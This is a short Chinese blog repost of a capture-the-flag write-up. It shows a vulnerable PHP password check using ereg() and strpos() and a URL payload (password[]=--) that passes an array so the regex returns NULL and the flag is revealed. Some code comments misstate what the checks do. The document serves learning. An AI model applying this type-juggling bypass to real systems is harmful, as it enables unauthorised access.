码迷,mamicode.com
首页 > 编程语言 > 详细

数组返回NULL绕过

时间:2020-05-05 18:21:01      阅读:66      评论:0      收藏:0      [点我收藏+]

标签:strpos   false   ==   lse   链接   val   csdn   echo   str   

0x01

<?php
$flag = "flag";

if (isset ($_GET[‘password‘])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
//传入的参数中不能存在a-zA-Z0-9中任意一值
		echo ‘You password must be alphanumeric‘;
	else if (strpos ($_GET[‘password‘], ‘--‘) !== FALSE)
//传入的参数必须有--
		die(‘Flag: ‘ . $flag);
	else
		echo ‘Invalid password‘;
}
?>

数组绕过

payload:

http://123.206.87.240:9009/19.php?password[]=--

参考链接:
https://blog.csdn.net/qq_36869808/article/details/83538779

数组返回NULL绕过

标签:strpos   false   ==   lse   链接   val   csdn   echo   str   

原文地址:https://www.cnblogs.com/observering/p/12831230.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!